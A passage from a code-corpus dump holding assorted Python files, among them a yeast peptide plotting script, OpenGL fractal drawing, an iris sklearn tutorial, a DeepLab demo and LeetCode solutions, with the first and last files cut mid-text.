'VIV'\nCH['chr10'] = 'X'\nCH['chr11'] = 'XI'\nCH['chr12'] = 'XII'\nCH['chr13'] = 'XIII'\nCH['chr14'] = 'XIV'\nCH['chr15'] = 'XV'\nCH['chr16'] = 'XVI'\n\nFLANK =100\nMAX_TIF = 30\n\ndef Simulation(start, stop, k):\n L = []\n for i in range(k):\n L.append(random.choice(range(start,stop)))\n return L\n\nGENE_NAME_MAP = {}\ndef GeneAnnotation(ch, start, end, FLANK = 100):\n L = []\n inFile = open('/g/steinmetz/hsun/TIFproteome/Annotation/Ensembl/Saccharomyces_cerevisiae.R64-1-1.79.gtf')\n for line in inFile:\n line = line.strip()\n fields = line.split('\\t')\n if len(fields) >= 4:\n if fields[2] == 'gene':\n fds = fields[8].split(';')\n t_ch = fields[0]\n t_strand = fields[6]\n t_start = int(fields[3])\n t_end = int(fields[4])\n t_gene_id = fds[0].split('\"')[1]\n t_gene_name = 'None'\n t_gene_biotype = 'None'\n for fd in fds:\n if fd.find('gene_name') != -1:\n t_gene_name = fd.split('\"')[1]\n if fd.find('gene_biotype') != -1:\n t_gene_biotype = fd.split('\"')[1]\n GENE_NAME_MAP[t_gene_id] = t_gene_name\n \n if t_ch == ch:\n if t_end < start - FLANK or t_start > end + FLANK:\n pass\n else:\n L.append([t_ch, t_strand, t_start, t_end, t_gene_id, t_gene_name, t_gene_biotype])\n inFile.close()\n try:\n L.sort(cmp = lambda x,y :cmp(x[2], y[2]))\n except:\n print(L)\n print('Warning:\\t' + '\\t'.join([ch, str(start), str(end)]))\n return L\n\ndef getColor(strand):\n if strand == '+':\n return 'r'\n elif strand == '-':\n return 'b'\n\n\n##G = GeneAnnotation('XIV','+',37608,37631)\n##print(G)\n\ndef MultiLevelPlot(pepSeq, gene, peptide='', tifseq='', gene_name='', complementary=False, ouFile=''):\n ch_gene = gene[0]\n strand_gene = gene[1]\n start_gene = int(gene[2])\n end_gene = int(gene[3])\n ch_peptide = peptide[0]\n strand_peptide = peptide[1]\n start_peptide = int(peptide[2])\n end_peptide = int(peptide[3])\n\n AX = []\n subFig = ['Peptide', 'TIF-Seq', 'Gene Annotation']\n subFigNum = 3\n fig = plt.figure()\n #fig.text(0.04, 0.5, 'Number of reads', ha='center', va='center', rotation='vertical')\n #print(start_gene - FLANK)\n #print(end_gene + FLANK)\n\n for i in range(subFigNum):\n ax = fig.add_axes([0.08, 0.04 + 0.29*i, 0.84, 0.29])\n ax.set_xlim(start_gene - FLANK, end_gene + FLANK)\n ax.set_yticks([])\n ax.set_xticks([])\n ax.set_yticklabels([])\n #ax.yaxis.set_label_position(\"right\")\n ax.set_ylabel(subFig[i], fontsize=8)\n AX.append(ax)\n\n '''\n ax = fig.add_axes([0.1, 0.05 , 0.8, 0.1])\n ax.set_xlim(start_gene - FLANK, end_gene + FLANK)\n ax.set_yticks([])\n ax.set_xticks([])\n ax.set_yticklabels([])\n #ax.yaxis.set_label_position(\"right\")\n ax.set_ylabel(subFig[0], fontsize=8)\n AX.append(ax)\n ax = fig.add_axes([0.1, 0.15 , 0.8, 0.8])\n ax.set_xlim(start_gene - FLANK, end_gene + FLANK)\n ax.set_yticks([])\n ax.set_xticks([])\n ax.set_yticklabels([])\n #ax.yaxis.set_label_position(\"right\")\n ax.set_ylabel(subFig[1], fontsize=8)\n AX.append(ax)\n ax = fig.add_axes([0.1, 0.85 , 0.8, 0.1])\n ax.set_xlim(start_gene - FLANK, end_gene + FLANK)\n ax.set_yticks([])\n ax.set_xticks([])\n ax.set_yticklabels([])\n #ax.yaxis.set_label_position(\"right\")\n ax.set_ylabel(subFig[2], fontsize=8)\n AX.append(ax)\n '''\n\n #AX[2].text(-0.6,0.5,'Number of reads', ha='center', va='center', rotation='vertical')\n\n ###test\n #L = Simulation(0,100,1000)\n #AX[0].plot(L)\n\n ### gene annotation\n G = GeneAnnotation(ch_gene, start_gene, end_gene)\n #print(G)\n GN = len(G)\n sg = AX[2]\n sg.set_ylim(0, GN + 1)\n sg.set_yticks(range(GN + 2))\n #plt.setp(sg.get_xticklabels(), fontsize=6)\n #sg.xaxis.tick_top()\n #sg.xaxis.set_ticks_position('top')\n plt.setp(sg.get_yticklines(),visible=False)\n for i,x in enumerate(G):\n y = i + 1\n x_start = x[2]\n x_end = x[3]\n #sg.arrow(x_start, y, x_end, y, head_width=0.05, head_length=0.1, fc='k', ec='k')\n sg.plot([x_start, x_end], [y, y], color = getColor(x[1]))\n #sg.text(x_end,y,gene)\n if x[1] == '+':\n sg.plot([x_start], [y], color = getColor(x[1]), marker='o')\n else:\n sg.plot([x_end], [y], color = getColor(x[1]), marker='o')\n #sg.text(get_gene_name_pos(x_start, xend, start, end))\n #sg.plot([x_start, x_end], [y, y], color = getColor(x[1]), linewidth = 2)\n if complementary:\n sg.plot([start_peptide,start_peptide],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([end_peptide,end_peptide],[0,GN+1], color = 'green', linestyle = '--')\n else:\n if strand_gene == '+':\n sg.plot([start_gene,start_gene],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([start_peptide,start_peptide],[0,GN+1], color = 'green', linestyle = '--')\n else:\n sg.plot([end_gene,end_gene],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([end_peptide,end_peptide],[0,GN+1], color = 'green', linestyle = '--')\n \n \n \n ### tif-seq\n sg = AX[1]\n G = tifseq\n GN = len(tifseq)\n sg.set_ylim(0, GN + 1)\n sg.set_yticks(range(GN + 2))\n plt.setp(sg.get_yticklines(),visible=False)\n\n for i,tif in enumerate(tifseq):\n ts = tif.split(':')\n ch_tif = CH[ts[0]]\n strand_tif = ts[4]\n start_tif = int(ts[1])\n end_tif = int(ts[2])\n num_tif = int(ts[5]) + int(ts[6])\n anno_tif = ts[7]\n\n y = i + 1\n x_start = start_tif\n x_end = end_tif\n #sg.arrow(x_start, y, x_end, y, head_width=0.05, head_length=0.1, fc='k', ec='k')\n sg.plot([x_start, x_end], [y, y], color = getColor(strand_tif))\n if strand_tif == '+':\n sg.plot([x_start], [y], color = getColor(strand_tif), marker='o')\n else:\n sg.plot([x_end], [y], color = getColor(strand_tif), marker='o')\n\n if complementary:\n sg.plot([start_peptide,start_peptide],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([end_peptide,end_peptide],[0,GN+1], color = 'green', linestyle = '--')\n else:\n if strand_gene == '+':\n sg.plot([start_gene,start_gene],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([start_peptide,start_peptide],[0,GN+1], color = 'green', linestyle = '--')\n else:\n sg.plot([end_gene,end_gene],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([end_peptide,end_peptide],[0,GN+1], color = 'green', linestyle = '--')\n \n \n ### rna-seq\n ### polysome-seq\n ### ribosome-seq\n ### peptide\n GN = 1\n sg = AX[0]\n sg.set_ylim(0, GN + 1)\n sg.set_yticks(range(GN + 2))\n plt.setp(sg.get_yticklines(),visible=False)\n x_start = start_peptide\n x_end = end_peptide\n sg.plot([x_start, x_end],[1, 1], color = getColor(strand_peptide), linewidth=2)\n if strand_peptide == '+':\n sg.plot([x_start],[1], color = getColor(strand_peptide), marker = 'o')\n else:\n sg.plot([x_end],[1], color = getColor(strand_peptide), marker = 'o')\n \n if complementary: \n sg.plot([start_peptide,start_peptide],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([end_peptide,end_peptide],[0,GN+1], color = 'green', linestyle = '--')\n else:\n if strand_gene == '+':\n sg.plot([start_gene,start_gene],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([start_peptide,start_peptide],[0,GN+1], color = 'green', linestyle = '--')\n else:\n sg.plot([end_gene,end_gene],[0,GN+1], color = 'green', linestyle = '--')\n sg.plot([end_peptide,end_peptide],[0,GN+1], color = 'green', linestyle = '--')\n \n \n\n\n AX[2].xaxis.set_ticks_position('top')\n #AX[0].set_xticks([start_peptide-FLANK, start_peptide, end_peptide, end_peptide+FLANK])\n AX[2].set_xticks([start_gene, (start_gene+end_gene)/2, end_gene])\n #AX[0].set_xticklabels([ch + ':' + str(start-FLANK), str(start), str(end), ch + ':' + str(end+FLANK)], fontsize = 6)\n AX[2].set_xticklabels([ch_gene + ':' + str(start_gene), get_gene_name(gene_name), ch_gene + ':' + str(end_gene)], fontsize = 6)\n if ouFile:\n ouFile.write(pepSeq.split('-')[0] + '\\t' + get_gene_name(gene_name)+ '\\n')\n else:\n pass\n #print(peptide + '\\t' + get_gene_name(gene_name))\n AX[0].xaxis.set_ticks_position('bottom')\n AX[0].set_xticks([start_peptide, end_peptide])\n AX[0].set_xticklabels([ch_peptide + ':' + str(start_peptide), ch_peptide + ':' + str(end_peptide)], fontsize = 6)\n AX[0].get_xticklabels()[0].set_horizontalalignment('right')\n AX[0].get_xticklabels()[1].set_horizontalalignment('left')\n #AX[0].get_xticklabels()[2].set_horizontalalignment('left')\n #AX[0].get_xticklabels()[3].set_horizontalalignment('right')\n\n plus_patch = mpatches.Patch(color='red', label='Plus Strand')\n minus_patch = mpatches.Patch(color='blue', label='Minus Strand')\n plt.legend(handles=[plus_patch,minus_patch],ncol=2, loc=\"lower right\", bbox_to_anchor=[1.01, 1.09], prop={'size':9})\n\n plt.savefig(pepSeq + '.pdf')\n\n#IV:+:1183299:1184258\n#MultiLevelPlot('Peptide-Evidence.pdf', 'IV:+:1183299:1184258', 'IV:+:1184100:1184183')\n#MultiLevelPlot('Peptide-Evidence.pdf', 'XVI', '+' , 400413, 400454)\n\ndef tif_sort_func(x,y):\n fx = x.split(':')\n fy = y.split(':')\n strand = fx[4]\n if strand == '+':\n if int(fx[1]) < int(fy[1]):\n return -1\n elif int(fx[2]) > int(fy[2]):\n return 1\n else:\n return 0\n if strand == '-':\n if int(fx[2]) < int(fy[2]):\n return -1\n elif int(fx[2]) > int(fy[2]):\n return 1\n else:\n return 0\n\ndef tif_filter_sort(tif):\n if len(tif) > MAX_TIF:\n tif.sort(cmp = lambda x,y:cmp(int(x.split(':')[5]), int(y.split(':')[5])), reverse = True)\n tif = tif[0:MAX_TIF]\n tif.sort(cmp = lambda x,y:tif_sort_func(x ,y))\n else:\n tif.sort(cmp = lambda x,y:tif_sort_func(x ,y))\n return tif\n\ndef get_gene_name(gene):\n if GENE_NAME_MAP.get(gene,'None') != 'None':\n return GENE_NAME_MAP[gene]\n else:\n return gene\n \n\ndef __main__(inF):\n inFile = open(inF)\n head = inFile.readline()\n ouFile = open('Peptide-Gene.txt', 'w')\n for line in inFile:\n fields = line.split('\\t')\n if fields[3].find('INTERGENIC') == -1 and fields[3].find('ComplementaryStrand') == -1:\n pepSeq = fields[7]\n gene = fields[3].split(':')\n gene_name = gene[4]\n tif = fields[0].split('|')\n tif = tif_filter_sort(tif)\n pep = fields[5].split(':')\n MultiLevelPlot(pepSeq+'-FrameShift', gene, pep, tif, gene_name, ouFile)\n elif fields[3].find('ComplementaryStrand') != -1:\n pepSeq = fields[7]\n gene = fields[3].split('|')[1].split(':')\n gene_name = gene[4]\n tif = fields[0].split('|')\n tif = tif_filter_sort(tif)\n pep = fields[5].split(':')\n MultiLevelPlot(pepSeq+'-Complementary', gene, pep, tif, gene_name, ouFile=ouFile, complementary=True)\n elif fields[3].find('INTERGENIC') != -1:\n pepSeq = fields[7]\n #gene = fields[3].split('|')[1].split(':')\n gene_name = ''\n tif = fields[0].split('|')\n tif = tif_filter_sort(tif)\n pep = fields[5].split(':')\n gene = [pep[0], pep[1], int(pep[2])-500, int(pep[3])+500]\n MultiLevelPlot(pepSeq+'-Intergenic', gene, pep, tif, gene_name, ouFile=ouFile, complementary=True)\n\n\n inFile.close()\n ouFile.close()\n\n__main__('Yeast-Peptide-NTerminal-SixFrame-Candidates-Gene-ORF-seq-TIFSeqCoveredPep')\n\n\n\n\n","sub_path":"TIFproteome/N-Terminal_MSGFPlus_SixFrame/MultiLevelPlot/MultiLevelPlotLess.py","file_name":"MultiLevelPlotLess.py","file_ext":"py","file_size_in_byte":12413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388096242","text":"import os\nimport torch\nimport torch.multiprocessing as mp\n\nclass NOT_PROVIDED:\n pass\n\ndef getenv(key, default=NOT_PROVIDED, transform=None):\n if default is not NOT_PROVIDED:\n value = os.environ.get(key, NOT_PROVIDED)\n if value is NOT_PROVIDED:\n value = default\n else:\n if transform is not None:\n value = transform(value)\n else:\n value = os.environ[key]\n if transform is not None:\n value = transform(value)\n return value\n\n\nSCENARIO = getenv('SCENARIO', 'defend_the_center')\nWORKERS = getenv('WORKERS', mp.cpu_count(), int)\nFRAME_SKIP = getenv('FRAME_SKIP', 4, int)\nSTACK_SIZE = getenv('STACK_SIZE', 4, int)\nTOTAL_EPISODES = getenv('TOTAL_EPISODES', NOT_PROVIDED, int) # per worker\nBATCH_SIZE = getenv('BATCH_SIZE', 5, int)\nGAMMA = getenv('GAMMA', 0.9, float)\n\nUSE_GPU = (os.environ['USER'] != 'v-sopov') # use gpu everywhere except for laptop\nDEVICE = 'cuda' if USE_GPU else 'cpu'\n","sub_path":"A3C/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481052298","text":"import Special_Random\n\n\nclass Laptop(object):\n def __init__(self, screen_resolution, extra_space=1000, color=\"Blue\"):\n # Things that a Laptop has.\n # Everything in this list would be relevant to the program.\n self.processor = \"Intel i5\"\n self.screen_resolution = screen_resolution\n self.battery_left = 100\n self.space_left = extra_space\n self.color = color\n self.os = \"Linux\"\n self.functioning = True\n\n def charge(self, time):\n if self.functioning:\n # Computer is already charged.\n if self.battery_left >= 100:\n print(\"The computer is already charged.\")\n return\n\n self.battery_left += time\n # Computer is mostly charged.\n if self.battery_left > 100:\n print(\"The computer quickly charges.\")\n self.battery_left = 100\n\n # Computer is not charged at all.\n else:\n print(\"The computer is on at %d%% \" % self.battery_left)\n else:\n print(\"It's broken. Good job.\")\n\n def smash(self):\n self.functioning = False\n print(\"I took the laptop...\")\n print()\n print(\"...wait for it...\")\n print()\n print(\"...AND I THREW IT ON THE GROUND!!!!!\")\n\n def use(self, time):\n self.battery_left -= time\n print(\"You use the laptop for %s minutes\" % time)\n\n\nmy_computer = Laptop(\"1920x1080\", 10000, \"Black\")\nyour_computer = Laptop(\"10x10\", 0, \"Orange\")\nwiebe_computer = Laptop(\"900000000000x900000000\", 9999999999999999, \"Awesome\")\ndefault_computer = Laptop(\"1920x1080\")\n\nmy_computer.use(60)\nmy_computer.charge(1000)\nmy_computer.smash()\nmy_computer.charge(20)\n\nyour_computer.charge(20)\n\nprint(Special_Random.RandomWiebe.special_random())\n","sub_path":"Object Notes.py","file_name":"Object Notes.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"569042976","text":"from __future__ import unicode_literals\n\nfrom django.conf.urls import url\n\nfrom .api_views import (\n APIDocumentOCRView, APIDocumentPageOCRContentView,\n APIDocumentVersionOCRView\n)\nfrom .views import (\n DocumentOCRContentView, DocumentOCRDownloadView,\n DocumentOCRErrorsListView, DocumentPageOCRContentView, DocumentSubmitView,\n DocumentTypeSettingsEditView, DocumentTypeSubmitView, EntryListView\n)\n\nurlpatterns = [\n url(\n regex=r'^documents/pages/(?P\\d+)/content/$',\n view=DocumentPageOCRContentView.as_view(),\n name='document_page_ocr_content'\n ),\n url(\n regex=r'^documents/(?P\\d+)/content/$',\n view=DocumentOCRContentView.as_view(), name='document_ocr_content'\n ),\n url(\n regex=r'^documents/(?P\\d+)/submit/$',\n view=DocumentSubmitView.as_view(), name='document_submit'\n ),\n url(\n regex=r'^document_types/submit/$',\n view=DocumentTypeSubmitView.as_view(), name='document_type_submit'\n ),\n url(\n regex=r'^documents/multiple/submit/$',\n view=DocumentSubmitView.as_view(), name='document_submit_multiple'\n ),\n url(\n regex=r'^document_types/(?P\\d+)/ocr/settings/$',\n view=DocumentTypeSettingsEditView.as_view(),\n name='document_type_ocr_settings'\n ),\n url(\n regex=r'^documents/(?P\\d+)/ocr/errors/$',\n view=DocumentOCRErrorsListView.as_view(),\n name='document_ocr_error_list'\n ),\n url(\n regex=r'^documents/(?P\\d+)/ocr/download/$',\n view=DocumentOCRDownloadView.as_view(), name='document_ocr_download'\n ),\n url(regex=r'^all/$', view=EntryListView.as_view(), name='entry_list'),\n]\n\napi_urls = [\n url(\n regex=r'^documents/(?P\\d+)/submit/$',\n view=APIDocumentOCRView.as_view(), name='document-ocr-submit-view'\n ),\n url(\n regex=r'^documents/(?P\\d+)/versions/(?P\\d+)/ocr/$',\n view=APIDocumentVersionOCRView.as_view(),\n name='document-version-ocr-submit-view'\n ),\n url(\n regex=r'^documents/(?P\\d+)/versions/(?P\\d+)/pages/(?P\\d+)/ocr/$',\n view=APIDocumentPageOCRContentView.as_view(),\n name='document-page-ocr-content-view'\n ),\n]\n","sub_path":"mayan/apps/ocr/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"36190041","text":"#!/usr/bin/env python3\n\nimport csv\nimport json\n\nflat_data = []\nfieldnames = {'source'}\n\n\ndef make_key(key, k):\n if 'timestamp' in k:\n return 'timestamp'\n elif key in k:\n return k\n else:\n return '{}_{}'.format(key, k)\n\n\nwith open('../../_tmp/fixtures-flat.json') as file:\n content = file.read()\n\n\nfor key, value in json.loads(content).items():\n for element in value:\n slownik = {}\n for k, wartosc in element.items():\n klucz = make_key(key, k)\n fieldnames.add(klucz)\n slownik['source'] = key\n slownik[klucz] = wartosc\n\n flat_data.append(slownik)\n\n\nwith open('../_tmp/fixtures-flat.csv', 'w') as file:\n writer = csv.DictWriter(file, fieldnames, quoting=csv.QUOTE_ALL, delimiter=';', quotechar='\"')\n writer.writeheader()\n\n for row in flat_data:\n writer.writerow(row)\n\n\nwith open('../_tmp/fixtures-flat.csv') as file:\n print(file.read())\n","sub_path":"src/podstawy-json-to-csv.py","file_name":"podstawy-json-to-csv.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"548851080","text":"\nfrom scipy.stats.kde import gaussian_kde\nimport numpy as np\n\nr = np.linspace(-np.pi, np.pi,201)\n\nfor i in range(11):\n\ttry:\n\t\ty = np.load('../../../SL/replicas/rep'+str(i)+'/trjs_theta.npy')[1]\n\t\tmy_pdf = gaussian_kde(y)\n\t\tz=my_pdf(r)\n\t\tnp.save('kernel'+str(i), z)\n\texcept:\n\t\tprint('z')\n","sub_path":"MDSimulation/Alanine dipeptide/Analysis/1dHistograms/step1-KDE.py","file_name":"step1-KDE.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"259533911","text":"import sys\n\n## 최종 정제용.\ndef splt(line):\n (sep, ko, fol, lang, eq, wr) = (line.split(\"\\t\")[0], line.split(\"\\t\")[1], line.split(\"\\t\")[2], line.split(\"\\t\")[3], line.split(\"\\t\")[4] ,line.split(\"\\t\")[5])\n return (sep, ko, fol, lang, eq, wr)\n\ndef write(path, src):\n with open(path, \"w\", encoding='utf-8') as f:\n for line in src: f.write(line)\n\n## 문장 합치기\ndef rejoin(tple):\n tmp = []\n for v in tple: \n t = v.strip()\n tmp.append(t)\n res = '\\t'.join(tmp)\n res = res.rstrip() +\"\\n\"\n return res\n\ndef final_process(inpath, outpath):\n pro = []\n with open(inpath, 'r', encoding='utf-8') as fo:\n for line in fo:\n tple = splt(line)\n line = rejoin(tple)\n line = line.replace(\" & \", \" \")\n line = line.replace(\"&apos\",\"'\")\n pro.append(line)\n\n write(outpath, pro)\n\n\ninpath = sys.argv[1]\noutpath= sys.argv[2]\n\nfinal_process(inpath, outpath)","sub_path":"외국어표기정제/processing#6.py","file_name":"processing#6.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"220862701","text":"import deeplab\r\nimport argparse\r\nimport os\r\nimport numpy as np\r\nimport cv2 as cv\r\n\r\ndir = os.path.dirname(os.path.abspath(__file__))\r\n\r\nparser = argparse.ArgumentParser(\r\n description='deeplab from https://github.com/tensorflow/models/tree/master/research/deeplab')\r\nparser.add_argument('--input_source', default=0, help='Path to image or video. Skip to capture frames from camera')\r\nargs = parser.parse_args()\r\n\r\ncap = cv.VideoCapture(args.input_source)\r\nif not cap.isOpened():\r\n raise Exception('Fail to open %s' % (args.input_source))\r\n\r\nmodel = deeplab.DeepLabModel(\r\n os.path.join(dir, 'data/deeplabv3_mnv2_pascal_train_aug_2018_01_29.tar.gz'))\r\n\r\nwhile True:\r\n hasFrame, orignal_im = cap.read()\r\n orignal_im = cv.flip(orignal_im, 1)\r\n if not hasFrame:\r\n cv.waitKey()\r\n break\r\n\r\n resized_im, seg_map = model.run_ocv_image(orignal_im)\r\n resized_im[seg_map == 0] = 0\r\n\r\n # deeplab.vis_segmentation(resized_im, seg_map)\r\n cv.imshow('in', resized_im)\r\n cv.imshow('seg', deeplab.label_to_color_image(seg_map).astype(np.uint8))\r\n\r\n if cv.waitKey(1) != -1:\r\n break\r\ncap.release()\r\n","sub_path":"deeplab/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"639736736","text":"from OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom OpenGL.GLUT import *\n\nfrom gl_implement.gl_primitives import draw_triangle\n\nimport numpy as np\nwidth, height = 900,900\n\ntr_side = 1.5\nalpha = np.pi/2\n\nrotate_mtr_on_z = np.array([[np.cos(alpha),-np.sin(alpha),0],[np.sin(alpha),np.cos(alpha),0],[0,0,1]])\n\nshift_right = lambda ord : np.array([(11/18)*tr_side*(3/5), 0, 0])\nshift_up = lambda ord : np.array([0, (0.34)*tr_side*(3/5), 0])\nshift_down = lambda ord : np.array([0, -(0.34)*tr_side*(3/5), 0])\n\ndef rotation(coords) :\n return coords.dot(rotate_mtr_on_z)\n\ndef draw_fractal(order, max_order, tr_coords) :\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n for coord in tr_coords:\n draw_triangle(3., [.1, .5, .1, 1], coord, False, 'line')\n\n tr_coords = rotation(tr_coords)*0.6\n new_obj = tr_coords.copy()\n tr_coords = np.concatenate((tr_coords + shift_up(order), tr_coords + shift_down(order)))\n tr_coords = np.concatenate((tr_coords, new_obj + shift_right(order)))\n\n order += 1\n if order != max_order :\n return draw_fractal(order, max_order, tr_coords)\n\n\ndef draw() :\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glLoadIdentity()\n\n max_order = 9\n tr_coords = np.array([[\n [-tr_side/2, -tr_side/2, 0],\n [tr_side/2, -tr_side/2, 0],\n [0, tr_side/2, 0]\n ]])\n\n\n draw_fractal(0,max_order, tr_coords)\n\n glPointSize(3)\n glColor3d(255,255,255)\n glBegin(GL_POINTS)\n glVertex3f(0,0,0)\n glEnd()\n # draw_triangle(3., [.1, .5, .1, 1], tr_coords + shift_left, False, 'line')\n # draw_triangle(3., [.1, .5, .1, 1], tr_coords + shift_up +shift_left/2, False, 'line')\n glutSwapBuffers()\n\ndef refresh2d(width, height):\n glViewport(0, 0, width, height)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n # glOrtho(0.0, width, 0.0, height, -1.0, 1.0)\n glMatrixMode (GL_MODELVIEW)\n glutPostRedisplay()\n\ndef Init_GL_Window(num_window, width, height) :\n glutInit()\n glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH)\n glutInitWindowSize(width, height)\n glutInitWindowPosition(200, 200)\n\n window = glutCreateWindow(\"My First app on OpenGL\")\n\n glutDisplayFunc(draw)\n glutIdleFunc(draw)\n # glutReshapeFunc(refresh2d)\n glClearColor(.26, .23, .51 , 1.0) # background color\n glutMainLoop()\n\ndef main() :\n Init_GL_Window(0, width, height);\n print('I do it')\n # draw_point(5, [1, 0, 0], [4.1, 6, 0], True)\n\nif __name__ == '__main__' : main() # указываем что этот фаил является главным\n","sub_path":"labs/lab_3.py","file_name":"lab_3.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"53920559","text":"from marmot.features.feature_extractor import FeatureExtractor\nfrom marmot.exceptions.no_data_error import NoDataError\nfrom marmot.util.ngram_window_extractor import left_context, right_context\n\n\nclass POSContextLeftFeatureExtractor(FeatureExtractor):\n '''\n same as POSContextFeatureExtractor, but without right context\n '''\n\n def get_features(self, context_obj):\n if 'target_pos' not in context_obj:\n raise NoDataError('target_pos', context_obj, 'POSContextFeatureExtractor')\n if 'source_pos' not in context_obj:\n raise NoDataError('source_pos', context_obj, 'POSContextFeatureExtractor')\n\n left_src = left_context(context_obj['source_pos'], context_obj['source_pos'][context_obj['source_index'][0]], context_size=1, idx=context_obj['source_index'][0])\n right_src = right_context(context_obj['source_pos'], context_obj['source_pos'][context_obj['source_index'][1]-1], context_size=1, idx=context_obj['source_index'][1]-1)\n\n left_tg = left_context(context_obj['target_pos'], context_obj['target_pos'][context_obj['index'][0]], context_size=1, idx=context_obj['index'][0])\n\n return [left_src[0], right_src[0], left_tg[0]]\n\n def get_feature_names(self):\n return ['left_source_context_pos', 'right_source_context_pos', 'left_target_context_pos']\n","sub_path":"marmot/features/phrase/pos_context_left_feature_extractor.py","file_name":"pos_context_left_feature_extractor.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"152855790","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 11 11:56:57 2019\n\n@author: KSVATS\n\"\"\"\n\nimport sys\nimport scipy\nimport numpy\nimport matplotlib\nimport pandas\nimport sklearn\n\nprint('Python: {}'.format(sys.version))\nprint('scipy: {}'.format(scipy.__version__))\nprint('numpy: {}'.format(numpy.__version__))\nprint('matplotlib: {}'.format(matplotlib.__version__))\nprint('pandas: {}'.format(pandas.__version__))\nprint('sklearn: {}'.format(sklearn.__version__))\n\n#Import all of the modules, functions, and objects we will use in this tutorial.\nfrom pandas.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\nfrom sklearn import model_selection\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\n\n#Load the Dataset¶\nurl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\nnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class']\ndataset = pandas.read_csv(url, names=names)\n\n# Shape\nprint(dataset.shape)\n\n# Head\nprint(dataset.head(20))\n\n# descriptions\nprint(dataset.describe())\n\n# class distribution\nprint(dataset.groupby('class').size())\n\n# histograms\ndataset.hist()\nplt.show()\n\n# scatter plot matrix\nscatter_matrix(dataset)\nplt.show()\n\n# Split-out validation dataset\narray = dataset.values\nX = array[:,0:4]\nY = array[:,4]\nvalidation_size = 0.20\nseed = 7\nX_train, X_validation, Y_train, Y_validation = model_selection.train_test_split(X, Y, test_size = validation_size, random_state = seed)\n\n\n# Test options and evaluation metric\nseed = 7\nscoring = 'accuracy'\n\n\nmodels = []\nmodels.append(('LR', LogisticRegression()))\nmodels.append(('KNN', KNeighborsClassifier()))\nmodels.append(('SVM', SVC()))\n\n# evaluate each model in turn\nresults = []\nnames = []\n\nfor name, model in models:\n kfold = model_selection.KFold(n_splits=10, random_state = seed)\n cv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring)\n results.append(cv_results)\n names.append(name)\n msg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\n print(msg)\n \n# Make predictions on validation dataset\n\nfor name, model in models:\n model.fit(X_train, Y_train)\n predictions = model.predict(X_validation)\n print(name)\n print(accuracy_score(Y_validation, predictions))\n print(classification_report(Y_validation, predictions))\n","sub_path":"1/iris.py","file_name":"iris.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"90523639","text":"\n\n# Given an array of n integers where n > 1, nums, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i].\n\n# Solve it without division and in O(n).\n\n\nclass Solution:\n \"\"\"\n @param nums: an array of integers\n @return: the product of all the elements of nums except nums[i].\n \"\"\"\n def productExceptSelf(self, nums):\n # write your code here\n # time O(n), space O(1) except output\n if not nums:\n return []\n \n n = len(nums)\n res = [1] * n\n for i in range(1, n): # res[i]: left product before i\n res[i] = res[i - 1] * nums[i - 1]\n \n right_product = 1\n for i in range(n - 2, -1, -1): \n right_product *= nums[i + 1] # right product after i\n res[i] *= right_product\n \n return res\n\n# 如果用乘法实现\nclass Solution:\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n cnt_zero = 0\n idx_zero = -1\n prod = 1\n n = len(nums)\n res = [0] * n\n for i in range(n):\n if nums[i] == 0:\n cnt_zero += 1\n if cnt_zero > 1: # 多余一个零，结果���为零\n return res\n idx_zero = i\n else:\n prod *= nums[i] # 记录累积积\n \n if cnt_zero == 1: # 有一个零，此位置结果非零\n res[idx_zero] = prod\n return res\n else:\n return [prod // num for num in 